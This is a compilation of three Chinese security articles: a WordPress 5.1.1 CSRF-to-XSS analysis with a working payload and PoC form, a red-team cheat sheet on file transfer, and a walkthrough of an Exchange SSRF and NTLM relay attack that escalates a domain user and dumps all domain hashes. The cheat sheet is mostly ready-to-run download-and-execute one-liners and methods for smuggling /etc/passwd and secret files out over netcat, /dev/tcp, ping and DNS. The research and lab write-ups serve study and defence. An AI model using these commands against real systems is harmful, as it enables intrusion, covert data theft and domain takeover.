聊聊 WordPress 5.1.1 CSRF to RCE 漏洞
吴烦恼 2019-3-15 6:0 转存

作者:LoRexxar'@知道创宇404实验室
时间:2019年3月14日

2019年3月13日, RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情,标题起的很响亮,叫做wordpress csrf to rce, https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

下面我们就来详细聊聊这个漏洞。

关于WordPress防护

早在2017年10月25号,我曾经写过一篇关于WordPress安全机制的文章。

https://lorexxar.cn/2017/10/25/wordpress/

在其中,我着重描述了WordPress整体安全机制中的最核心机制,nonce安全机制

出于防御CSRF攻击的目的,WordOress引入了Nonce安全机制,Nonce是通过用户id、token、操作属性来计算的。简单来说就是,Nonce值受限于用户以及操作属性两点,不同用户同一个操作Nonce值不同,同一个用户不同操作Nonce值不同,同一个用户同一个操作不同站Nonce不同。

虽然是出于防御CSRF攻击的目的诞生,但却在WordPress薄弱的后台安全防御下,打上了最强的一节防御外壳。

在WordPress Core开发团队的认知中,任何一个WordPress的超级管理员,都应该保管好自己的网站以及账号安全,超级管理员也应该能对自己的网站以及服务器负责。

在这样的观点设计下,WordPress的超级管理员可以直接修改后台插件模板来getshell,超级管理员的评论不会有任何过滤。

所以在WordPress的防御体系下,如何绕过Nonce、如何获取超级管理员权限、如果在非超级管理员权限下做任何可以威胁网站安全操作,就是WordPress安全漏洞的主要方向。

关于 CSRF to RCE 漏洞

在我们熟悉了WordPress的安全机制之后,我们再回到这个漏洞来。

作者提到,在WordPress的评论处有一个比较神奇的机制。刚才提到,对于WP的超级管理员来说,文章的评论不会有任何过滤,但仍旧有Nonce值_wp_unfiltered_html_comment,而WordPress其中有一些特殊的功能例如trackbacks and pingbacks会受到该值的影响,所以在评论处,Nonce不会直接阻止请求,而是另外生成了一套逻辑来做处理

/wp-includes/comment.php line 3245

if ( current_user_can( 'unfiltered_html' ) ) {

    if ( wp_create_nonce( 'unfiltered-html-comment' )!=$_POST['_wp_unfiltered_html_comment'] ) {
        kses_remove_filters(); // start with a clean slate
        kses_init_filters(); // set up the filters
    }
}

继续跟下去,我们简单的把逻辑写成伪代码

if 有权限:
    if nonce正确:
        wp_filter_post_kses()
    else:
        wp_filter_kses()

而其中的区别就是,wp_filter_post_kses不会做任何过滤,会保留请求的完整评论,而wp_filter_kses将只允许白名单的标签存在,就比如a标签等。

而问题的核心就在于,如何在wp_filter_kses的白名单中找到一个可以导致xss的输入点。这个点就在a标签的rel属性处理中。

在/wp-includes/formatting.php line 3025

这里对整个标签全部做了一次处理,而没有额外的转义,再加上这里是通过拼接双引号符号来完成,那么如果我们构造一个评论为

<a title='aa " onmouseover=alert() id=" ' rel='111'>please click me

原链接中的属性会被取出,然后被双引号包裹,就成了

<a title="aa " onmouseover=alert() id=" " rel='111'>please click me

恶意链接就构造成功了,当管理员鼠标放在这条评论上时,则可以执行任意JS。

最后就是在执行任意JS之后,我们可以通过JS直接修改后台的模板,来实现管理员权限下的恶意操作,在我曾经写过的文章《从瑞士军刀到变形金刚--XSS攻击面拓展》中,我就曾经以WordPress为例子来举了多个从XSS到进一步恶意操作的利用方式。

https://lorexxar.cn/2017/08/23/xss-tuo/#Xss-to-Rce

我们仔细回顾一下整个漏洞,攻击者需要诱骗超级管理员点击他的恶意链接,然后需要手动把鼠标放置到评论上,甚至还需要保留该页面一段时间,整个攻击才有可能成功。

不难发现,如果我们把漏洞放在WordPress Core树立的安全标准下来说,该漏洞实际能算作是漏洞的部分只有一个,就是绕过Nonce机制实现的一个WordPress XSS漏洞。当我们抛开这个关键点之后,我们不难发现,这个漏洞看上次利用条件还不错,但实际上,在WordPress的安全机制中,插件安全一直是最严重的问题,一旦WordPress的高量级插件爆了一个后台的反射性XSS漏洞,利用难度反而甚至比这个漏洞更低,不是吗?

漏洞要求

漏洞复现

搭建完成后使用admin账号登陆

然后构造恶意页面

<span class="nt">&lt;html&gt;</span>
  <span class="c">&lt;!-- CSRF PoC - generated by Burp Suite Professional --&gt;</span>
  <span class="nt">&lt;body&gt;</span>
    <span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"http://127.0.0.1/wordpress/wp-comments-post.php"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"comment"</span> <span class="na">value=</span><span class="s">"&amp;lt;a&#032;title&#061;&amp;apos;aa&#032;&amp;quot;&#032;onmouseover&#061;alert&#040;&#041;&#032;id&#061;&amp;quot;&#032;&amp;apos;&#032;rel&#061;&amp;apos;111&amp;apos;&amp;gt;please click me"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"%E5%8F%91%E8%A1%A8%E8%AF%84%E8%AE%BA /&gt;</span>
<span class="s">      &lt;input type="</span><span class="err">hidden"</span> <span class="na">name=</span><span class="s">"comment&#095;post&#095;ID"</span> <span class="na">value=</span><span class="s">"1"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"comment&#095;parent"</span> <span class="na">value=</span><span class="s">"0"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"&#095;wp&#095;unfiltered&#095;html&#095;comment"</span> <span class="na">value=</span><span class="s">"1"</span> <span class="nt">/&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Submit request"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/form&gt;</span>
  <span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>

使用登陆过超级管理员的浏览器点开该页面,然后就会提交评论,当鼠标移动到评论上是,则会执行相应的js

从漏洞补丁看漏洞分析

刚才我们说到了一个关键点,整个漏洞实际上可以看作是一个绕过Nonce机制实现的一个WordPress XSS漏洞。

这里我们从漏洞补丁出发,重新分析下这个漏洞的几个关键点。这个漏洞到目前为止,一共有2个commit用来修复。

第一个commit首先是修复了那个不该有的xss漏洞

esc_attr是WordPress内置的过滤函数,专用来处理属性处的可能出现xss的位置。

第二个commit就比较有趣了,在我看来这个commit更像是一个半成品,可能是由于修复比较匆忙,先把修复的patch更新了再说的感觉。

这个commit我们需要跟进到函数wp_filter_kses才看得懂,我们跟着这个函数一路跟下去,一直到/wp-includes/kses.php line 1039

这里的pre_comment_content大概像是请求的类型,要到wp_kses_allowed_html去获取允许的标签以及属性列表。

/wp-includes/kses.php line 829

由于还没有针对性的设置,所以在现在的版本中,如果没有设置nonce,享受的是和其他用户相同的评论过滤,也就从另一个角度修复了这个漏洞:>

写在最后

当我们一起分析完整个漏洞之后呢,不难发现RIPS为了pr不惜吹了个大牛,其实当我们把整个漏洞重新压缩之后,我们发现其实漏洞就相当于其他CMS爆了一个存储型XSS漏洞一样,之所以会有这样的利用链,反而是因为WordPress对其本身错误的安全认知导致的。

在WordPress的安全认知中,Nonce机制的确是一个效果非常好的安全机制,但从一个安全从业者的观点来说,WordPress的超级管理员应不应该等同于服务器管理员仍然是一个需要考虑的问题,在安全的世界里来说,给每个用户他们应有的权限才是最安全的做法,不是吗?


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/854/

原文阅读

红队后渗透测试中的文件传输技巧
吴烦恼 2019-3-5 8:53 转存

作者:xax007@知道创宇404 ScanV安全服务团队
作者博客:https://xax007.github.io/

在红队渗透测试当中往往需要最大化利用当前的环境绕过重兵防守的系统的防火墙、IDS、IPS等报警和监控系统进行文件传输,本文列出了多种利用操作系统默认自带的工具进行文件传输的方法。

搭建 HTTP server

Python

python2:

python -m SimpleHTTPServer 1337

以上命令会在当前目录启动 HTTP 服务,端口为 1337

python3:

python -m http.server 1337

以上命令会在当前目录启动 HTTP 服务,端口为 1337

PHP 5.4+

当 PHP 版本大于 5.4 是,可使用 PHP 在当前目录启动 HTTP 服务,端口为 1337

php -S 0.0.0.0:1337

Ruby

下面的命令会在当前目录下启动 HTTP 服务,端口为 1337

ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port =&gt; 1337, :DocumentRoot =&gt; Dir.pwd).start'

Ruby 1.9.2+

ruby -run -e httpd . -p 1337

Perl

<span class="nt">perl</span> <span class="nt">-MHTTP</span><span class="p">::</span><span class="nd">Server</span><span class="p">::</span><span class="nd">Brick</span> <span class="nt">-e</span> <span class="s1">'$s=HTTP::Server::Brick-&gt;new(port=&gt;1337); $s-&gt;mount("/"=&gt;{path=&gt;"."}); $s-&gt;start'</span>
<span class="nt">perl</span> <span class="nt">-MIO</span><span class="p">::</span><span class="nd">All</span> <span class="nt">-e</span> <span class="s1">'io(":8080")-&gt;fork-&gt;accept-&gt;(sub { $_</span><span class="cp">[</span><span class="mi">0</span><span class="cp">]</span><span class="s1"> &lt; io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'</span>

Thanks to: http://stackoverflow.com/questions/8058793/single-line-python-webserver

busybox httpd

busybox httpd -f -p 8000

本条来自:lvm

Download files from HTTP server

以下列出了在 Windows 和 Linux 系统下使用系统自带工具从 HTTP Server 下载文件的几种方法

Windows

powershell

下载并执行:

<span class="nt">powershell</span> <span class="o">(</span><span class="nt">new-object</span> <span class="nt">System</span><span class="p">.</span><span class="nc">Net</span><span class="p">.</span><span class="nc">WebClient</span><span class="o">)</span><span class="p">.</span><span class="nc">DownloadFile</span><span class="o">(</span><span class="s1">'http://1.2.3.4/5.exe'</span><span class="o">,</span><span class="s1">'c:\download\a.exe'</span><span class="o">);</span><span class="nt">start-process</span> <span class="s1">'c:\download\a.exe'</span>

certutil

下载并执行:

certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&amp;&amp;c:\download\a.exe

bitsadmin

下载并执行:

bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe &amp;&amp; c:\download\a.exe

bitsadmin 的下载速度比较慢

regsvr32

regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

Linux

Curl

curl http://1.2.3.4/backdoor

Wget

wget http://1.2.3.4/backdoor

awk

在使用 awk 进行下载文件时,首先使用以上列出的任意一条命令启动一个 HTTP Server

awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
  print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |&amp; HTTPCon
  while (HTTPCon |&amp; getline &gt; 0)
      print $0
  close(HTTPCon)
}'

效果:

img

Setup HTTP PUT server

以下列出了上传文件到 HTTP Server 的几种方法

使用 Nginx 搭建 HTTP PUT Server

mkdir -p /var/www/upload/ # 创建目录 
chown www-data:www-data /var/www/upload/ # 修改目录所属用户和组
cd /etc/nginx/sites-available # 进入 nginx 虚拟主机目录

# 写入配置到 file_upload 文件
cat &lt;&lt;EOF &gt; file_upload
server {
    listen 8001 default_server;
    server_name kali;
        location / {
        root /var/www/upload;
        dav_methods PUT;
    }
}
EOF
# 写入完毕
cd ../sites-enable # 进入 nginx 虚拟主机启动目录
ln -s /etc/nginx/sites-available/file_upload file_upload # 启用 file_upload 虚拟主机
systemctl start nginx # 启动 Nginx

使用 Python 搭建 HTTP PUT Server

以下代码保存到 HTTPutServer.py 文件里:

<span class="c1"># ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">signal</span>
<span class="kn">from</span> <span class="nn">threading</span> <span class="kn">import</span> <span class="n">Thread</span>
<span class="kn">from</span> <span class="nn">BaseHTTPServer</span> <span class="kn">import</span> <span class="n">HTTPServer</span><span class="p">,</span> <span class="n">BaseHTTPRequestHandler</span>



<span class="k">class</span> <span class="nc">PUTHandler</span><span class="p">(</span><span class="n">BaseHTTPRequestHandler</span><span class="p">):</span>
    <span class="k">def</span> <span class="nf">do_PUT</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
        <span class="n">length</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s1">'Content-Length'</span><span class="p">])</span>
        <span class="n">content</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">rfile</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="n">length</span><span class="p">)</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">send_response</span><span class="p">(</span><span class="mi">200</span><span class="p">)</span>
        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">path</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
            <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">run_on</span><span class="p">(</span><span class="n">port</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="s2">"Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ..."</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">port</span><span class="p">))</span>
    <span class="n">server_address</span> <span class="o">=</span> <span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">port</span><span class="p">)</span>
    <span class="n">httpd</span> <span class="o">=</span> <span class="n">HTTPServer</span><span class="p">(</span><span class="n">server_address</span><span class="p">,</span> <span class="n">PUTHandler</span><span class="p">)</span>
    <span class="n">httpd</span><span class="o">.</span><span class="n">serve_forever</span><span class="p">()</span>


<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">3</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s2">"Usage:</span><span class="se">\n\t</span><span class="s2">python {0} ip 1337"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span>
        <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">ports</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> <span class="k">for</span> <span class="n">arg</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">:]]</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">port_number</span> <span class="ow">in</span> <span class="n">ports</span><span class="p">:</span>
            <span class="n">server</span> <span class="o">=</span> <span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">run_on</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">[</span><span class="n">port_number</span><span class="p">])</span>
            <span class="n">server</span><span class="o">.</span><span class="n">daemon</span> <span class="o">=</span> <span class="bp">True</span> <span class="c1"># Do not make us wait for you to exit</span>
        <span class="n">server</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
        <span class="n">signal</span><span class="o">.</span><span class="n">pause</span><span class="p">()</span> <span class="c1"># Wait for interrupt signal, e.g. KeyboardInterrupt</span>
    <span class="k">except</span> <span class="ne">KeyboardInterrupt</span><span class="p">:</span>
        <span class="k">print</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">Python HTTP PUT Server Stoped."</span>
        <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

运行方法:

$ python HTTPutServer.py <span class="m">10</span>.10.10.100 <span class="m">1337</span>
Starting a HTTP PUT Server on <span class="m">10</span>.10.10.100 port <span class="m">1337</span> <span class="o">(</span>http://10.10.10.100:1337<span class="o">)</span> ...

上传文件到 HTTP PUT server

Linux

Curl

$ curl --upload-file secret.txt http://ip:port/

Wget

$ wget --method<span class="o">=</span>PUT --post-file<span class="o">=</span>secret.txt http://ip:port/

Windows

Powershell

$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body

使用 Bash /dev/tcp 进行文件传输

首先需要监听端口

文件接收端:

nc -lvnp 1337 &gt; secret.txt

文件发送端:

cat secret.txt &gt; /dev/tcp/ip/port

img

使用 SMB 协议进行文件传输

搭建简易 SMB Server

搭建简易SMB Server 需要用到 Impacket 项目的 smbserver.py 文件

Impacket 已默认安装在 Kali Linux 系统中

syntax: impacker-smbserver ShareName SharePath

$ mkdir smb <span class="c1"># 创建 smb 目录</span>
$ <span class="nb">cd</span> smb <span class="c1"># 进入 smb目录</span>
$ impacket-smbserver share <span class="sb">`</span><span class="nb">pwd</span><span class="sb">`</span> <span class="c1"># 在当前目录启动 SMB server,共享名称为 share</span>

效果:

img

从 SMB server 下载文件

copy \\IP\ShareName\file.exe file.exe

上传文件到 SMB server

net use x: \\IP\ShareName

copy file.txt x:

net use x: /delete

使用 whois 命令进行文件传输

/etc/passwd
Host A
Host B

接收端 Host B:

nc -vlnp 1337 | sed "s/ //g" | base64 -d

发送端 Host A:

whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`

效果:

img

使用 ping 命令进行文件传输

secret.txt
Sender
Reciver

发送端:

xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

接收端:

以下代码保存到 ping_receiver.py

<span class="kn">import</span> <span class="nn">sys</span>

<span class="k">try</span><span class="p">:</span>
    <span class="kn">from</span> <span class="nn">scapy.all</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">except</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s2">"Scapy not found, please install scapy: pip install scapy"</span><span class="p">)</span>
    <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">process_packet</span><span class="p">(</span><span class="n">pkt</span><span class="p">):</span>
    <span class="k">if</span> <span class="n">pkt</span><span class="o">.</span><span class="n">haslayer</span><span class="p">(</span><span class="n">ICMP</span><span class="p">):</span>
        <span class="k">if</span> <span class="n">pkt</span><span class="p">[</span><span class="n">ICMP</span><span class="p">]</span><span class="o">.</span><span class="n">type</span> <span class="o">==</span> <span class="mi">8</span><span class="p">:</span>
            <span class="n">data</span> <span class="o">=</span> <span class="n">pkt</span><span class="p">[</span><span class="n">ICMP</span><span class="p">]</span><span class="o">.</span><span class="n">load</span><span class="p">[</span><span class="o">-</span><span class="mi">4</span><span class="p">:]</span>
            <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{data.decode("utf-8")}'</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">,</span> <span class="n">sep</span><span class="o">=</span><span class="s2">""</span><span class="p">)</span>

<span class="n">sniff</span><span class="p">(</span><span class="n">iface</span><span class="o">=</span><span class="s2">"eth0"</span><span class="p">,</span> <span class="n">prn</span><span class="o">=</span><span class="n">process_packet</span><span class="p">)</span>

执行方法:

python3 ping_receiver.py

效果

使用 dig 命令进行文件传输

/etc/passwd
Sender
Reciver

发送端:

<span class="n">xxd</span> <span class="o">-</span><span class="n">p</span> <span class="o">-</span><span class="n">c</span> <span class="mi">31</span> <span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span> <span class="o">|</span> <span class="k">while</span> <span class="n">read</span> <span class="n">line</span><span class="p">;</span> <span class="k">do</span> <span class="n">dig</span> <span class="mf">@172.16.1.100</span> <span class="o">+</span><span class="kt">short</span> <span class="o">+</span><span class="n">tries</span><span class="o">=</span><span class="mi">1</span> <span class="o">+</span><span class="n">time</span><span class="o">=</span><span class="mi">1</span> <span class="err">$</span><span class="n">line</span><span class="p">.</span><span class="n">gooogle</span><span class="p">.</span><span class="n">com</span><span class="p">;</span> <span class="n">done</span>

接收端:

以下代码使用了 python 的 scapy 模块,需要手动安装

代码保存到 dns_reciver.py 文件中

<span class="nn">try</span><span class="p">:</span>
    <span class="s s-Atom">from</span> <span class="s s-Atom">scapy</span><span class="p">.</span><span class="s s-Atom">all</span> <span class="s s-Atom">import</span> <span class="o">*</span>
<span class="nn">except</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="s2">"Scapy not found, please install scapy: pip install scapy"</span><span class="p">)</span>

<span class="s s-Atom">def</span> <span class="nf">process_packet</span><span class="p">(</span><span class="s s-Atom">pkt</span><span class="p">)</span><span class="s s-Atom">:</span>
    <span class="s s-Atom">if</span> <span class="s s-Atom">pkt</span><span class="p">.</span><span class="nf">haslayer</span><span class="p">(</span><span class="nv">DNS</span><span class="p">)</span><span class="s s-Atom">:</span>
        <span class="s s-Atom">domain</span> <span class="o">=</span> <span class="s s-Atom">pkt</span><span class="p">[</span><span class="nv">DNS</span><span class="p">][</span><span class="nv">DNSQR</span><span class="p">].</span><span class="s s-Atom">qname</span><span class="p">.</span><span class="nf">decode</span><span class="p">(</span><span class="s s-Atom">'utf-8'</span><span class="p">)</span>
        <span class="s s-Atom">root_domain</span> <span class="o">=</span> <span class="s s-Atom">domain</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="s s-Atom">'.'</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span>
        <span class="s s-Atom">if</span> <span class="s s-Atom">root_domain</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="s s-Atom">'gooogle'</span><span class="p">)</span><span class="s s-Atom">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="s s-Atom">f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}'</span><span class="p">,</span> <span class="s s-Atom">flush</span><span class="o">=</span><span class="nv">True</span><span class="p">,</span> <span class="s s-Atom">end=''</span><span class="p">)</span>

<span class="nf">sniff</span><span class="p">(</span><span class="s s-Atom">iface=</span><span class="s2">"eth0"</span><span class="p">,</span> <span class="s s-Atom">prn</span><span class="o">=</span><span class="s s-Atom">process_packet</span><span class="p">)</span>

运行方法:

python3 dns_reciver.py

效果:

Transfer files via dig

img

使用 NetCat 进行文件传输

1.txt
A:10.10.10.100
B:10.10.10.200

接受端:

nc -l -p 1337 &gt; 1.txt

发送端:

cat 1.txt | nc -l -p 1337

或者

nc 10.10.10.200 1337 &lt; 1.txt

在极端环境下,如果接受端没有 nc 可以使用 Bash 的 /dev/tcp 接收文件:

cat &lt; /dev/tcp/10.10.10.200/1337 &gt; 1.txt

img

参考链接


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/834/

原文阅读

利用 Exchange SSRF 漏洞和 NTLM 中继沦陷域控
吴烦恼 2019-3-5 8:52 转存

作者:xax007@知道创宇404 ScanV安全服务团队
作者博客:https://xax007.github.io/

漏洞简述

在群里看到一篇分享的利用 Exchange SSRF 漏洞获取域控 的文章(中文翻译),让我眼前一亮,后来又在微博看到有大佬复现了这个漏洞,于是我也决定试试。

上文中的漏洞利用思路按照我的理解可以汇总成一句话就是:

在Exchange 在域内具有高权限的前提下条件下,利用 Exchange 的跨站请求伪造漏洞进行 NTLM 中继攻击,修改域 ACL 使普通用户具有域管理员同等级别的权限

这篇文章的利用手法和其他网上很多方法不同的点在于,对 SSRF 漏洞进一步利用达到了拿到域控的目的,其他文章里都仅仅是利用SSRF 漏洞查看管理的邮件或者修改管理员邮箱规则,如邮件自动转发等。

不想拿到域控的黑阔不是一个好黑阔,利用多个普通漏洞,最大化利用漏洞拿到域控的骚姿势肯定要学一下的,于是有了这篇文章。

此文记录了我对这个漏洞进行的所有工作和遇到的坑。

漏洞环境搭建

复现这个漏洞最费时间又麻烦的就是搭建环境,我在 MacOS上 使用 Vmware Fusion 搭建了此漏洞需要的域环境

VMware Fusion 会在系统安装两个虚拟网卡,分别为 vmnet1 和 vmnet8

vmnet8 为 NAT网卡,可以让虚拟机上网 vmnet1 为 HostOnly 仅主机网卡,用来搭建私有网络,我们需要对此网卡作出修改

如果在Windows系统搭建环境时,也应该设置所有虚拟主机为 HostOnly 模式,方法大同小异

配置 Vmware Fusion

修改 /Library/Preferences/VMware\ Fusion/networking 文件

关闭 vmnet1的 dhcp,否则虚拟主机之间无法通信

VERSION=1,0
answer VNET_1_DHCP no    #关闭dhcp
answer VNET_1_DHCP_CFG_HASH 9503E18413CDE50A84F0D124C42535C62DF8193B
answer VNET_1_HOSTONLY_NETMASK 255.255.255.0 # HostOnly 网络子网掩码
answer VNET_1_HOSTONLY_SUBNET 10.10.10.0     # HostOnly网络地址
answer VNET_1_VIRTUAL_ADAPTER yes

可参考:MAC下VMware Fusion虚拟机配置网卡

搭建域环境

这里可以下载到能免费试用180天的正版 Windows Server 2012 系统

我安装了一台 Windows Server 2012,装好以后克隆了一台,给虚拟分配多少硬件资源取决于自身电脑配置,这里我电脑的配置

img

因为是克隆的系统,两台的SID是一样的,会加入不了域, 所以克隆的这台要修改 SID

修改 SID 的方法是,在克隆的那个系统里进入 c:\windows\system32\sysprep\ 执行

sysprep /generalize

按照提示操作,重启就修改好了。

最终各种查资料、看不懂、迷惘、折腾后搭好了可用的域环境。

域环境的搭建主要参考了几位大佬的以下几篇文章

搭建渗透测试活动目录教程1

搭建渗透测试活动目录教程2

当然还有 l3mOn 大佬的:

Microsoft Exchange漏洞记录(撸向域控) - CVE-2018-8581

同步域内系统时间

搭建小型域环境里大佬说同步时间很重要,我发现我两个系统的时间都不一样,所以在域控所在的服务器配置系统时间:

打开 powershell 并执行

w32tm /config /manualpeerlist:"cn.pool.ntp.org tw.pool.ntp.org" /syncfromflags:manual /reliable:yes /update

其中

/manualpeerlist 表示外部时间源服务器列表,多个服务器之间可用空格分隔,cn.pool.ntp.org 和 tw.pool.ntp.org是 NTP 时间服务器

/syncfromflags:manual 表示与指定的外部时间源服务器列表中的服务器进行同步

/reliable:yes 表示设置此计算机是一个可靠的时间源

/update 表示向时间服务发出配置已更改的通知,使更改生效

net stop w32time         关闭w32time服务

net start w32time         启动w32time服务

w32tm /resync             手动与外部时间源服务器进行同步

w32tm /query /status   同步时间服务器状态

w32tm /query /source  查询时间同步源

w32tm /query /peers    查询时间同步服务器及相关信息

以上步骤参考了以下的文章

Windows server 2012 部署NTP,实现成员服务器及客户端时间与域控制器时间同步

我按照教程在域控所在的服务器执行到第三步,另一台服务器的时间自己就同步了

最终搭好了可用的域环境:

域名称:evilcorp.local
域控:
  操作系统:Windows Server 2012 R2 
  IP: 10.10.10.2
  子网掩码: 255.255.255.0
  网关: 10.10.10.1
  DNS: 10.10.10.2
Exchange 服务器:
  操作系统: Windows Server 2012 R2
  IP: 10.10.10.3
  子网掩码: 255.255.255.0
  网关: 10.10.10.1
  DNS: 10.10.10.2
攻击主机:
  操作系统: Kali
  IP: 10.10.10.5

按照以上三个教程的步骤走,看不明白继续搜教程就可以搭好域环境

攻击主机 Kali Linux 为了能访问域网络需要添加一个 HostOnly 网卡,我添加后的网卡名为 eth1

然后进行以下配置

╭─root@kali ~  
╰─?  ifconfig eth1 up
╭─root@kali ~  
╰─?  ifconfig eth1 10.10.10.5 netmask 255.255.255.0
╭─root@kali ~  
╰─?  route add default gw 10.10.10.1 eth1
╭─root@kali ~  
╰─?

安装 Exchange Server 2013

首先需要在 Exchange 所在的服务器上使用域控 Administrator 账号登录,不然安装检查是会出现一大堆错误

安装 Exchange 前要装依赖组件,可以参考上面 l3m0n 大佬的文章和 Windows Server 2012 安装 Exchange 2013 这两篇文章

安装好 Exchange 以后访问 Exchange 页面,在我的环境里的地址是 https://10.10.10.3 ,需要添加一个普通域用户,然后用域控管理员账号登录 Exchange 为此用户分配 Exchange 账号,这一步网上有很多教程

后续要用此普通用户来提权

所有的环境搭建好以后要进入激动人心的漏洞利用环节了!!!

漏洞利用

准备工具

漏洞利用需要下载两个工具:

第二个 Impacket 是一个功能很强大的 Windows 网络(SMB, MSRPC)工具包

Kali 自带 Impacket,是版本过时了,需要安装最新的

git clone 下载下来后,进入到 Impacket 目录使用 pip 安装

pip install .

注意这个工具是 python2 写的,使用 python3会出错

发起攻击

首先在本机启动 NTLM 中继,进入到 Impacker 的 examples 目录执行

python ntlmrelayx.py -t ldap://evilcorp.local --escalate-user mr.robot

其中

evilcorp.local 是域的名称

--escalate-user 的参数是 Exchange 的普通权限用户名,也就是之前添加的普通用户用户名

然后执行提权脚本

python privexchange.py -ah 10.10.10.1 10.10.10.3 -u mr.robot -p "Hacktheplanet\!" -d evilcorp.local

其中

-ah 参数指定域控地址可以是域的名称或 IP 地址,在这里为 10.10.10.1 10.10.10.3 为 Exchange 服务器在域的名称或者IP地址 -u 指定需要提权的 Exchange 的普通权限用户名 -p指定 Exchange 的普通权限用户的密码 -d 指定域的名称

如果攻击成功你会看到 privexchange.py 脚本的输出

img

至此在 evicorp.local 域内, Mr.robot 用户具有了高权限,下一步我们导出域内所有用户的哈希

导出域内用户哈希

进入 Impacket\examples 目录执行

python secretsdump.py EVILCORP.LOCAL/mr\.robot@evilcorp.local -just-dc

就导出了域内所有用户哈希

img

